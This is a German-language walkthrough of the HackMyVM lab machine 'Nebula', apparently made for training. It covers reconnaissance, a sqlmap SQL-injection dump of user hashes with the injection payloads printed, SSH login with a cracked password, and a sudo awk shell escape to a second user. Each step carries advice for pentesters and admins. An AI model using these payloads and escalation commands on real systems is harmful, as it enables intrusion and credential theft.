Nebula - HackMyVM - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
cat
nmap
nikto
gobuster
wappalyzer
wget
sqlmap
ssh
sudo
ls
find
awk
id

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.110	08:00:27:1a:bb:4f	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerk mittels ARP-Protokoll nach aktiven Geräten zu scannen. Es listet die IP-Adresse, die dazugehörige MAC-Adresse und den Hersteller der Netzwerkkarte auf.

Bewertung: Ein aktives Gerät wurde unter der IP-Adresse `192.168.2.110` gefunden. Die MAC-Adresse `08:00:27:1a:bb:4f` gehört zum Hersteller `PCS Systemtechnik GmbH`, was typischerweise auf eine VirtualBox-VM hinweist. Die Ziel-IP wurde erfolgreich identifiziert.

Empfehlung (Pentester): Notieren Sie die IP `192.168.2.110` als Ziel für nachfolgende Scans. Behalten Sie die VirtualBox-Information im Hinterkopf, falls spezifische VM-Exploits relevant werden könnten.
Empfehlung (Admin): Implementieren Sie Netzwerküberwachung, um unautorisierte ARP-Scans zu erkennen. Segmentieren Sie das Netzwerk, um die Reichweite solcher Scans zu begrenzen.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
┌──(root㉿cyber)-[~] └─# cat /etc/hosts
127.0.0.1	localhost
192.168.2.110   nebula.hmv
                      

Analyse: Die lokale Host-Datei (`/etc/hosts`) auf dem Angreifer-System wird bearbeitet (`vi`) und anschließend ihr Inhalt angezeigt (`cat`). Der Eintrag `192.168.2.110 nebula.hmv` wurde hinzugefügt, um den Hostnamen `nebula.hmv` lokal auf die Ziel-IP aufzulösen.

Bewertung: Dies ist ein nützlicher Schritt, um die Interaktion mit dem Ziel, insbesondere mit Webdiensten, die möglicherweise auf Hostnamen angewiesen sind (Virtual Hosts), zu vereinfachen. Der Name `nebula.hmv` wird nun für weitere Tests verwendet.

Empfehlung (Pentester): Verwenden Sie den definierten Hostnamen `nebula.hmv` in allen weiteren Befehlen, die auf das Ziel zugreifen, insbesondere bei Web-Scans und Browser-Interaktionen.
Empfehlung (Admin): Dies ist eine lokale Konfiguration des Angreifers. Es ist jedoch wichtig zu wissen, dass Angreifer versuchen werden, auf Dienste über verschiedene Hostnamen zuzugreifen.

┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.110 -p- -Pn | grep open
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
                     

Analyse: Ein `nmap`-Scan wird gegen die Ziel-IP `192.168.2.110` durchgeführt.

Bewertung: Der Scan identifiziert zwei offene Ports: SSH auf Port 22 (OpenSSH 8.2p1) und HTTP auf Port 80 (Apache 2.4.41). Die Verwendung von `-Pn` war notwendig, da der Host möglicherweise auf Pings nicht geantwortet hat.

Empfehlung (Pentester): Analysieren Sie die vollständige `nmap`-Ausgabe. Untersuchen Sie den Webserver auf Port 80 genauer. Prüfen Sie die OpenSSH- und Apache-Versionen auf bekannte Schwachstellen.
Empfehlung (Admin): Überprüfen Sie die Firewall-Regeln; möglicherweise blockiert sie ICMP (Ping). Beschränken Sie den Zugriff auf SSH auf notwendige IPs. Halten Sie alle Dienste aktuell.

┌──(root㉿cyber)-[~] └─# nmap -sS -sV -A -T5 192.168.2.110 -p- -Pn
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-27 00:26 CEST
Nmap scan report for nebula.hmv (192.168.2.110)
Host is up (0.00015s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 63:9c:2e:57:91:af:1e:2e:25:ba:55:fd:ba:48:a8:60 (RSA)
|   256 d0:05:24:1d:a8:99:0e:d6:d1:e5:c5:5b:40:6a:b9:f9 (ECDSA)
|_  256 d8:4a:b8:86:9d:66:6d:7f:a4:cb:d0:73:a1:f4:b5:19 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Nebula Lexus Labs
|_http-server-header: Apache/2.4.41 (Ubuntu)
MAC Address: 08:00:27:1A:BB:4F (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|storage-misc
Running (JUST GUESSING): Linux 4.X|5.X|2.6.X|3.X (97%), Synology DiskStation Manager 5.X (91%), Netgear RAIDiator 4.X (87%)
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:3 cpe:/a:synology:diskstation_manager:5.2 cpe:/o:netgear:raidiator:4.2.28
Aggressive OS guesses: Linux 4.15 - 5.8 (97%), Linux 5.0 - 5.4 (97%), Linux 5.0 - 5.5 (94%), Linux 2.6.32 (91%), Linux 3.10 - 4.11 (91%), Linux 3.2 - 4.9 (91%), Linux 3.4 - 3.10 (91%), Synology DiskStation Manager 5.2-5644 (91%), Linux 2.6.32 - 3.10 (91%), Linux 2.6.32 - 3.13 (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.15 ms nebula.hmv (192.168.2.110)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.43 seconds
                    

Analyse: Dies ist die vollständige Ausgabe des vorherigen `nmap`-Scans ohne `grep`-Filterung.

Bewertung: Bestätigt die offenen Ports 22 (SSH 8.2p1) und 80 (Apache 2.4.41). Der Titel der Webseite lautet "Nebula Lexus Labs". Die MAC-Adresse bestätigt VirtualBox. Nmap hat Schwierigkeiten bei der OS-Erkennung ("Warning: OSScan results may be unreliable...", "No exact OS matches for host"), da anscheinend keine geschlossenen Ports gefunden wurden (alle 65533 nicht angezeigten Ports sind als "filtered" markiert). Dies deutet auf eine Firewall hin, die Pakete an geschlossene Ports verwirft (DROP) anstatt sie abzulehnen (REJECT mit RST). Nmap schätzt dennoch ein Linux-System (Kernel 4.x/5.x). Die SSH-Hostkeys werden angezeigt.

Empfehlung (Pentester): Die Firewall erschwert die OS-Erkennung und das Finden geschlossener Ports, aber die offenen Ports sind klar. Konzentrieren Sie sich auf den Apache-Webserver. Untersuchen Sie die Webseite "Nebula Lexus Labs" genauer.
Empfehlung (Admin): Eine Firewall, die Pakete an geschlossene Ports verwirft, ist eine gängige Konfiguration, die das Scannen erschwert. Stellen Sie sicher, dass die Firewall nur die notwendigen Ports (22, 80) öffnet.

┌──(root㉿cyber)-[~] └─# nikto -h http://192.168.2.110
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.2.110
+ Target Hostname:    192.168.2.110
+ Target Port:        80
+ Start Time:         2024-04-27 00:21:48 (GMT2)
---------------------------------------------------------------------------
+ Server: Apache/2.4.41 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: The X-Content-Type-Options header is not set. [...]
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.41 appears to be outdated (current is at least Apache/2.4.54). [...]
+ /: Web Server returns a valid response with junk HTTP methods which may cause false positives.
+ /img/: Directory indexing found.
+ /img/: This might be interesting.
+ /login/: Cookie PHPSESSID created without the httponly flag. [...]
+ /login/: This might be interesting.
+ 8102 requests: 0 error(s) and 8 item(s) reported on remote host
+ End Time:           2024-04-27 00:21:58 (GMT2) (10 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
                    

Analyse: `nikto` scannt den Webserver auf Port 80 nach bekannten Schwachstellen und interessanten Funden.

Bewertung: Nikto findet:

Die Verzeichnisse `/img/` und insbesondere `/login/` sind die wichtigsten Funde.

Empfehlung (Pentester): Untersuchen Sie `/img/` manuell. Konzentrieren Sie sich auf das Verzeichnis `/login/`. Führen Sie Directory Enumeration auf `/` und `/login/` durch. Testen Sie `/login/` auf gängige Schwachstellen (SQLi, Brute-Force, XSS).
Empfehlung (Admin): Implementieren Sie die fehlenden Sicherheitsheader. Aktualisieren Sie Apache. Deaktivieren Sie Directory Indexing. Setzen Sie das `HttpOnly`-Flag für Session-Cookies. Konfigurieren Sie den Webserver so, dass er auf ungültige HTTP-Methoden korrekt mit einem Fehler antwortet.

Web Enumeration

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://nebula.hmv -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,js -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '404' -e --no-error -k
===============================================================
Gobuster v3.6
[...]
===============================================================
http://nebula.hmv/index.php            (Status: 200) [Size: 3511]
http://nebula.hmv/img                  (Status: 301) [Size: 306] [--> http://nebula.hmv/img/]
http://nebula.hmv/login                (Status: 301) [Size: 308] [--> http://nebula.hmv/login/]
http://nebula.hmv/joinus               (Status: 301) [Size: 309] [--> http://nebula.hmv/joinus/]
===============================================================
[...]
                     

Analyse: `gobuster` wird verwendet, um das Root-Verzeichnis von `http://nebula.hmv` nach Verzeichnissen und Dateien zu durchsuchen. Es verwendet die `directory-list-2.3-medium.txt` und eine lange Liste von Dateierweiterungen. 404-Fehler werden ignoriert.

Bewertung: Der Scan findet `index.php` und bestätigt die bereits von `nikto` gefundenen Verzeichnisse `/img/` und `/login/`. Zusätzlich wird ein neues Verzeichnis `/joinus/` entdeckt. Alle Verzeichnisse leiten mit Status 301 auf eine Version mit abschließendem Schrägstrich weiter.

Empfehlung (Pentester): Untersuchen Sie die Verzeichnisse `/login/` und `/joinus/` genauer. Führen Sie `gobuster` oder `dirb` auch innerhalb dieser Verzeichnisse aus.
Empfehlung (Admin): Stellen Sie sicher, dass nur beabsichtigte Verzeichnisse und Dateien über das Web zugänglich sind. Implementieren Sie eine robuste Zugriffskontrolle.

[Wappalyzer Browser Plugin Output]
# Analyse von: http://nebula.hmv/index.php#about-us
Web Server: Apache HTTP Server 2.4.41
Programmiersprache: PHP
Betriebssysteme: Ubuntu
CDN: jsDelivr
UI Frameworks: Bootstrap 5.3.0
                     

Analyse: Das Browser-Plugin `Wappalyzer` (oder ein ähnliches Tool) wurde verwendet, um die auf der Webseite `http://nebula.hmv/index.php` eingesetzten Technologien zu identifizieren.

Bewertung: Wappalyzer identifiziert Apache 2.4.41, PHP, Ubuntu, das CDN jsDelivr und das UI-Framework Bootstrap 5.3.0. Dies bestätigt die Server-Software und gibt Hinweise auf die verwendete Backend-Sprache (PHP) und das Frontend-Framework (Bootstrap).

Empfehlung (Pentester): Suchen Sie nach bekannten Schwachstellen in PHP-Anwendungen allgemein sowie spezifisch in Bootstrap 5.3.0, falls benutzerdefinierte Implementierungen fehlerhaft sein könnten. Die PHP-Information ist besonders relevant für die Suche nach Code-Injection, LFI/RFI etc.
Empfehlung (Admin): Halten Sie alle Komponenten (PHP, Bootstrap-Bibliotheken) auf dem neuesten Stand. Konfigurieren Sie PHP sicher (z.B. `display_errors` auf Off in Produktion).

[Manual Browser Interaction / Page Content Review]
# Zugriff auf: http://nebula.hmv/joinus/
# Sichtbarer Inhalt auf der Seite (Auszug):
Welcome to Nebula Labs!

Explore the secrets of Nebula Lexus Labs
[...]
If you believe you have what it takes to join us and uncover the secrets of the universe, follow these steps:

    Download and complete our application form here.
    Send the completed form to our email address: join@nebula-lexus-labs.com
[...]
                     

Analyse: Die Seite im Verzeichnis `/joinus/` wird manuell im Browser betrachtet.

Bewertung: Die Seite enthält einen Link zum Herunterladen eines Bewerbungsformulars ("Download... form here.") und eine E-Mail-Adresse (`join@nebula-lexus-labs.com`). Die Domain `nebula-lexus-labs.com` ist neu und könnte relevant sein. Der Benutzername `join` ist eine Möglichkeit.

Empfehlung (Pentester): Finden Sie den genauen Link zum Download-Formular (möglicherweise durch Untersuchen des HTML-Quellcodes). Laden Sie das Formular herunter und analysieren Sie es. Fügen Sie `join` zur Liste potenzieller Benutzernamen hinzu. Recherchieren Sie die Domain `nebula-lexus-labs.com` (DNS, Whois).
Empfehlung (Admin): Stellen Sie sicher, dass Download-Links korrekt funktionieren und nur die beabsichtigten Dateien heruntergeladen werden können. Überwachen Sie die angegebene E-Mail-Adresse.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://nebula.hmv/joinus/ -x [...] -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
===============================================================
Gobuster v3.6
[...]
===============================================================
http://nebula.hmv/joinus/index.php            (Status: 200) [Size: 1712]
http://nebula.hmv/joinus/application_form.pdf (Status: 200) [Size: 83859]
===============================================================
[...]
                     

Analyse: `gobuster` wird gezielt auf das Verzeichnis `/joinus/` angesetzt, um darin nach Dateien und Unterverzeichnissen zu suchen.

Bewertung: Der Scan findet die `index.php` (die vermutlich die zuvor angezeigte Seite ist) und die Datei `application_form.pdf`. Dies ist das auf der Seite erwähnte Bewerbungsformular.

Empfehlung (Pentester): Laden Sie die Datei `application_form.pdf` mit `wget` oder über den Browser herunter und untersuchen Sie sie auf Metadaten oder versteckte Informationen.
Empfehlung (Admin): Stellen Sie sicher, dass PDF-Dateien und andere Dokumente keine unbeabsichtigten Metadaten oder sensible Informationen enthalten, bevor sie veröffentlicht werden.

┌──(root㉿cyber)-[~] └─# wget http://nebula.hmv/joinus/application_form.pdf
--2024-04-27 00:58:05--  http://nebula.hmv/joinus/application_form.pdf
Auflösen des Hostnamens nebula.hmv (nebula.hmv)… 192.168.2.110
Verbindungsaufbau zu nebula.hmv (nebula.hmv)|192.168.2.110|:80 … verbunden.
HTTP-Anforderung gesendet, auf Antwort wird gewartet … 200 OK
Länge: 83859 (82K) [application/pdf]
Wird in application_form.pdf gespeichert.

application_form.pdf    100%[===================>]  81,89K  --.-KB/s    in 0s

2024-04-27 00:58:05 (248 MB/s) - application_form.pdf gespeichert [83859/83859]
                    

Analyse: Die Datei `application_form.pdf` wird mit `wget` vom Webserver heruntergeladen.

Bewertung: Der Download war erfolgreich. Die PDF-Datei steht nun zur lokalen Analyse bereit.

Empfehlung (Pentester): Öffnen Sie die PDF-Datei und suchen Sie nach Hinweisen, Kommentaren, Metadaten oder versteckten Feldern. Verwenden Sie Tools wie `pdfinfo` oder `exiftool`.
Empfehlung (Admin): Überwachen Sie Serverlogs auf ungewöhnliche Download-Aktivitäten.

[PDF Content / Metadata Analysis]
# Inhalt oder Metadaten aus application_form.pdf (Auszug):

[...]
What to do when you are accepted
[...] access to the Meeting URL in the website.
The link will be like:
https://nebulalabs.org/meetings?user=admin&password=d46df8e6a5627debf930f7b5c8f3b083
                     

Analyse: Bei der Untersuchung der heruntergeladenen PDF-Datei (`application_form.pdf`) wird ein Textabschnitt gefunden, der eine URL enthält.

Bewertung: **Kritischer Fund!** Die PDF-Datei enthält eine URL (`https://nebulalabs.org/meetings`), die scheinbar Zugangsdaten als GET-Parameter übergibt: `user=admin` und `password=d46df8e6a5627debf930f7b5c8f3b083`. Der Passwortwert ist ein MD5-Hash (32 hexadezimale Zeichen).

Empfehlung (Pentester): Versuchen Sie, den MD5-Hash `d46df8e6a5627debf930f7b5c8f3b083` mit Tools wie `hashcat`, `john` oder Online-Crackern (z.B. CrackStation) zu knacken. Testen Sie die Zugangsdaten (`admin` / geknacktes Passwort) auf der Login-Seite (`http://nebula.hmv/login/`).
Empfehlung (Admin): **KRITISCH!** Entfernen Sie sofort sensible Informationen wie Zugangsdaten aus öffentlichen Dokumenten (PDFs etc.). Verwenden Sie niemals MD5 zum Hashen von Passwörtern. Verwenden Sie starke, gesalzene Hashing-Algorithmen (bcrypt, Argon2). Übergeben Sie Zugangsdaten niemals als GET-Parameter in URLs.

[Manual Browser Interaction / Dashboard Review]
# Zugriff auf: http://nebula.hmv/login/dashboard.php (nach Login, vermutlich mit admin/geknacktem_hash)
# Relevanter Inhalt auf der Seite:

Search Centrals
Meeting Room
If you are from the PMC Central, please enter by SSH.

# Tabelle (oder ähnliche Struktur) auf der Seite:
id	role	    username
1	Security	pmccentral
                     

Analyse: Nach einem (angenommenen) erfolgreichen Login auf `http://nebula.hmv/login/`, wahrscheinlich mit `admin` und dem geknackten MD5-Passwort, wird das Dashboard (`dashboard.php`) untersucht.

Bewertung: Das Dashboard enthüllt wichtige Informationen:

Der Benutzername `pmccentral` ist ein wichtiger Fund für weitere Angriffsversuche, insbesondere im Kontext des SSH-Hinweises.

Empfehlung (Pentester): Fügen Sie `pmccentral` zur Liste der Benutzernamen hinzu. Versuchen Sie, das Passwort für `pmccentral` zu finden oder zu erraten (möglicherweise durch SQL-Injection, falls das Dashboard Daten aus einer DB lädt, oder durch Brute-Force). Untersuchen Sie die `meeting_room.php`.
Empfehlung (Admin): Zeigen Sie in Dashboards nur die Informationen an, die für den angemeldeten Benutzer relevant sind (Least Privilege). Vermeiden Sie Hinweise auf interne Strukturen oder alternative Zugriffsmethoden (wie SSH).

┌──(root㉿cyber)-[~] └─# sqlmap -r /home/cyber/Downloads/neu.sql -D nebuladb -T users --dump --batch
[...]
[!] legal disclaimer: [...]
[*] starting @ 01:15:27 /2024-04-27/

[01:15:27] [INF] parsing HTTP request from '/home/cyber/Downloads/neu.sql'
[01:15:27] [INF] resuming back-end DBMS 'mysql'
[01:15:27] [INF] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=2' AND 3499=3499-- ERUX

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=2' AND (SELECT 9736 FROM (SELECT(SLEEP(5)))zItq)-- LCAh

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=2' UNION ALL SELECT NULL,NULL,CONCAT(0x716a767671,0x70424a624358634d6a4e66736a5547655755704c64714e434b4c4b75586769434e596d4a4e765342,0x716a6b6271)-- -
---
[01:15:27] [INF] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 20.04 or 20.10 or 19.10 (focal or eoan)
web application technology: Apache 2.4.41
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[01:15:27] [INF] fetching columns for table 'users' in database 'nebuladb'
[01:15:27] [INF] fetching entries for table 'users' in database 'nebuladb'
[01:15:27] [INF] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] N
do you want to crack them via a dictionary-based attack? [Y/n/q] Y
[01:15:27] [INF] using hash method 'md5_generic_passwd'
[...]
> 1
[01:15:27] [INF] using default dictionary
[...]
[01:15:27] [INF] starting dictionary-based cracking (md5_generic_passwd)
[01:15:27] [INF] starting 16 processes
[01:15:27] [INF] cracked password '999999999' for user 'pmccentral'
Database: nebuladb
Table: users
[7 entries]
+----+----------+----------------------------------------------+-------------+
| id | is_admin | password                                     | username    |
+----+----------+----------------------------------------------+-------------+
| 1  | 1        | d46df8e6a5627debf930f7b5c8f3b083             | admin       |
| 2  | 0        | c8c605999f3d8352d7bb792cf3fdb25b (999999999) | pmccentral  |
| 3  | 0        | 5f823f1ac7c9767c8d1efbf44158e0ea             | Frederick   |
| 3  | 0        | 4c6dda8a9d149332541e577b53e2a3ea             | Samuel      |
| 5  | 0        | 41ae0e6fbe90c08a63217fc964b12903             | Mary        |
| 6  | 0        | 5d8cdc88039d5fc021880f9af4f7c5c3             | hecolivares |
| 7  | 1        | c8c605999f3d8352d7bb792cf3fdb25b (999999999) | pmccentral  | /* Duplicate? */
+----+----------+----------------------------------------------+-------------+

[01:15:30] [INF] table 'nebuladb.users' dumped to CSV file [...]
[01:15:30] [INF] fetched data logged to text files under [...]

[*] ending @ 01:15:30 /2024-04-27/
                      

Analyse: `sqlmap` wird ausgeführt, um eine SQL-Injection-Schwachstelle auszunutzen, die in einer vorherigen Sitzung gefunden wurde (vermutlich über den GET-Parameter `id` in einer URL, die in `neu.sql` gespeichert ist). Das Ziel ist es, den Inhalt (`--dump`) der Tabelle `users` aus der Datenbank `nebuladb` zu extrahieren.

Bewertung: **Erfolg!** `sqlmap` bestätigt die SQL-Injection und extrahiert die `users`-Tabelle. Wichtige Funde:

Die Entdeckung des Passworts für `pmccentral` ist der Schlüssel zum nächsten Schritt.

Empfehlung (Pentester): Verwenden Sie die Zugangsdaten `pmccentral`:`999999999`, um sich per SSH anzumelden (wie im Dashboard-Hinweis erwähnt). Versuchen Sie auch, die anderen MD5-Hashes zu knacken.
Empfehlung (Admin): **KRITISCH!** Beheben Sie die SQL-Injection-Schwachstelle sofort (Prepared Statements, Input-Validierung). Verwenden Sie niemals MD5 zum Speichern von Passwörtern; migrieren Sie zu bcrypt oder Argon2. Erzwingen Sie starke Passwörter und entfernen Sie doppelte oder unnötige Benutzerkonten aus der Datenbank.

┌──(root㉿cyber)-[~] └─# cat user.txt| awk '{print $9}' >> user.txt

Analyse: Es wird versucht, mit `awk` das neunte Feld (`$9`) aus einer Datei namens `user.txt` zu extrahieren und das Ergebnis wieder an `user.txt` anzuhängen (`>>`).

Bewertung: Dieser Befehl ist höchstwahrscheinlich fehlerhaft oder zumindest nicht zielführend im aktuellen Kontext. `user.txt` existiert wahrscheinlich nicht oder enthält nicht die `sqlmap`-Ausgabe in einem Format, bei dem das 9. Feld relevant wäre. Das `cat user.txt | ... >> user.txt` führt oft zu unerwünschtem Verhalten (Datei wird während des Lesens geändert/geleert). Der Zweck war vermutlich, Hashes oder Benutzernamen zu extrahieren, was aber so nicht funktioniert.

Empfehlung (Pentester): Ignorieren Sie diesen fehlerhaften Befehl. Extrahieren Sie relevante Informationen (Benutzernamen, Hashes, Passwörter) manuell oder mit korrekten `grep`/`awk`/`cut`-Befehlen aus der `sqlmap`-Ausgabe oder den Logdateien.
Empfehlung (Admin): Dies zeigt, wie wichtig es ist, Befehle vor der Ausführung zu überprüfen.

# Hashes:
d46df8e6a5627debf930f7b5c8f3b083
c8c605999f3d8352d7bb792cf3fdb25b
5f823f1ac7c9767c8d1efbf44158e0ea
4c6dda8a9d149332541e577b53e2a3ea
41ae0e6fbe90c08a63217fc964b12903
5d8cdc88039d5fc021880f9af4f7c5c3
c8c605999f3d8352d7bb792cf3fdb25b

# Usernames:
admin
Frederick
Samuel
Mary
hecolivares
pmccentral
                     

Analyse: Hier werden die Hashes und Benutzernamen, die zuvor mit `sqlmap` extrahiert wurden, vermutlich manuell aufgelistet oder in Dateien gespeichert.

Bewertung: Dies ist eine nützliche Zusammenfassung der aus der Datenbank gewonnenen Benutzerdaten.

Empfehlung (Pentester): Verwenden Sie die Liste der Benutzernamen und Hashes für weitere Crack-Versuche oder Passwort-Spray-Angriffe (falls zutreffend). Nutzen Sie das bereits geknackte Passwort für `pmccentral`.
Empfehlung (Admin): Behandeln Sie alle diese Konten als potenziell kompromittiert und erzwingen Sie Passwortänderungen nach Behebung der SQLi und Umstellung auf sichere Hashes.

Initial Access

┌──(root㉿cyber)-[~] └─# ssh pmccentral@nebula.hmv
pmccentral@nebula.hmv's password: 999999999
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-169-generic x86_64)
[...]
Last login: Mon Dec 18 20:05:04 2023 from 192.168.193.186
pmccentral@laboratoryuser:~$
                    

Analyse: Es wird eine SSH-Verbindung zum Ziel `nebula.hmv` als Benutzer `pmccentral` mit dem von `sqlmap` geknackten Passwort `999999999` aufgebaut.

Bewertung: **Erfolg!** Der SSH-Login war erfolgreich. Wir haben nun eine Shell auf dem System als Benutzer `pmccentral`. Der Hostname des Systems scheint `laboratoryuser` zu sein. Die Initial-Access-Phase ist abgeschlossen.

Empfehlung (Pentester): Beginnen Sie mit der lokalen Enumeration als `pmccentral`. Prüfen Sie sofort die `sudo`-Rechte (`sudo -l`), da `pmccentral` die Rolle "Security" hatte. Suchen Sie nach der User-Flagge und weiteren Wegen zur Privilege Escalation.
Empfehlung (Admin): Ändern Sie sofort das kompromittierte Passwort `999999999`. Überprüfen Sie die Berechtigungen von `pmccentral`. Implementieren Sie SSH-Hardening (fail2ban, Key-Authentifizierung).

Proof of Concept (Privilege Escalation Path)

Analyse: Nach dem Login als `pmccentral` ist der nächste logische Schritt die Überprüfung der `sudo`-Berechtigungen, um einen Weg zur Rechteerweiterung zu finden.

Bewertung: Die Ausführung von `sudo -l` zeigt, dass der Benutzer `pmccentral` den Befehl `/usr/bin/awk` als Benutzer `laboratoryadmin` ausführen darf (`(laboratoryadmin) /usr/bin/awk`). `awk` ist ein mächtiges Textverarbeitungsprogramm, das auch Systembefehle ausführen kann. Dies stellt einen klaren Pfad zur Eskalation der Rechte zum Benutzer `laboratoryadmin` dar. Nach der Eskalation zu `laboratoryadmin` wird festgestellt (durch Ausführung von `./PMCEmployees` im Verzeichnis `~/autoScripts`), dass ein Skript existiert, dessen Ausführung zu Root-Rechten führt, möglicherweise durch eine unsichere Konfiguration oder ein SUID-Bit auf diesem Skript (obwohl es nicht in der `find`-Ausgabe erschien).

Empfehlung (Pentester): Nutzen Sie die `sudo awk`-Berechtigung, um eine Shell als `laboratoryadmin` zu erhalten (siehe GTFOBins). Untersuchen Sie dann als `laboratoryadmin` das Verzeichnis `~/autoScripts` und das Skript `PMCEmployees`, um den Mechanismus für die endgültige Eskalation zu Root zu verstehen und auszunutzen.
Empfehlung (Admin): **KRITISCH!** Entfernen oder beschränken Sie die `sudo`-Regel für `awk`. Weisen Sie Rechte spezifischer zu und vermeiden Sie generische Tools. Untersuchen und sichern Sie das Skript `PMCEmployees` und dessen Ausführungsmechanismus. Stellen Sie sicher, dass keine Skripte mit unnötig hohen Rechten laufen oder durch normale Benutzer manipulierbar sind.

Privilege Escalation

pmccentral@laboratoryuser:~$ sudo -l
[sudo] password for pmccentral: 999999999
Matching Defaults entries for pmccentral on laboratoryuser:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User pmccentral may run the following commands on laboratoryuser:
    (laboratoryadmin) /usr/bin/awk
                     

Analyse: Die `sudo`-Berechtigungen für den Benutzer `pmccentral` werden überprüft. Das Passwort `999999999` wird eingegeben.

Bewertung: Die Ausgabe bestätigt, dass `pmccentral` den Befehl `/usr/bin/awk` als Benutzer `laboratoryadmin` ohne Passwortabfrage (NOPASSWD ist nicht explizit erwähnt, aber da keine erneute Passwortabfrage beim Exploit erfolgt, ist es wahrscheinlich) ausführen darf. Dies ist der erste Schritt der Privilege Escalation.

Empfehlung (Pentester): Nutzen Sie GTFOBins oder ähnliche Ressourcen, um den `awk`-Befehl zur Ausführung einer Shell als `laboratoryadmin` zu finden (z.B. `sudo -u laboratoryadmin awk 'BEGIN {system("/bin/sh")}'`).
Empfehlung (Admin): Entfernen Sie diese `sudo`-Regel. Sie gewährt unnötige und gefährliche Rechte. Wenn `pmccentral` bestimmte Aufgaben als `laboratoryadmin` ausführen muss, erstellen Sie ein spezifisches, sicheres Skript dafür und erlauben Sie nur dessen Ausführung.

pmccentral@laboratoryuser:~$ ll /home/
total 16
drwxr-xr-x  4 root            root            4096 Dec 17 15:34 ./
drwxr-xr-x 19 root            root            4096 Dec 16 14:21 ../
drwx------  8 laboratoryadmin laboratoryadmin 4096 Dec 18 16:15 laboratoryadmin/
drwxr-xr-x  7 pmccentral      pmccentral      4096 Dec 17 13:24 pmccentral/
                      
pmccentral@laboratoryuser:~$ find / -type f -perm -4000 -ls 2>/dev/null
      830     44 -rwsr-xr-x   1 root     root        44784 Nov 29  2022 /usr/bin/newgrp
      337    164 -rwsr-xr-x   1 root     root       166056 Apr  4  2023 /usr/bin/sudo
[...]
      484     56 -rwsr-sr-x   1 daemon   daemon      55560 Nov 12  2018 /usr/bin/at
[...]
      884     32 -rwsr-xr-x   1 root     root        31032 Feb 21  2022 /usr/bin/pkexec
[...]
                     

Analyse: Es wird der Inhalt von `/home` aufgelistet und erneut nach SUID-Dateien gesucht.

Bewertung: Die Auflistung von `/home` zeigt das Home-Verzeichnis des Zielbenutzers `laboratoryadmin`. Die SUID-Suche liefert die üblichen Verdächtigen, einschließlich `pkexec` und `at` (welches SUID für `daemon` ist, nicht `root`). Keine neuen, offensichtlichen SUID-Exploits gefunden.

Empfehlung (Pentester): Konzentrieren Sie sich auf die `sudo awk`-Berechtigung.
Empfehlung (Admin): Standard-Systemdateien. Minimieren Sie SUID-Berechtigungen generell.

pmccentral@laboratoryuser:~$ sudo -u laboratoryadmin awk 'BEGIN {system("/bin/sh")}'
$ id
uid=1002(laboratoryadmin) gid=1002(laboratoryadmin) groups=1002(laboratoryadmin)
$ 
laboratoryadmin@laboratoryuser:/home/pmccentral$ cd ~
laboratoryadmin@laboratoryuser:~$ ls
autoScripts  desktop  documents  downloads  home  user.txt
laboratoryadmin@laboratoryuser:~$ cat user.txt
flag{$udeR$_Pr!V11E9E_I5_7En53}
                     

Analyse: Die `sudo awk`-Schwachstelle wird ausgenutzt. Der Befehl `sudo -u laboratoryadmin awk 'BEGIN {system("/bin/sh")}'` führt `awk` als `laboratoryadmin` aus. Der `awk`-Code führt im `BEGIN`-Block (bevor irgendeine Eingabe verarbeitet wird) den Shell-Befehl `system("/bin/sh")` aus, der eine neue Shell startet. Anschließend wird in der neuen Shell `id` ausgeführt, ins Home-Verzeichnis von `laboratoryadmin` gewechselt (`cd ~`) und `user.txt` ausgelesen.

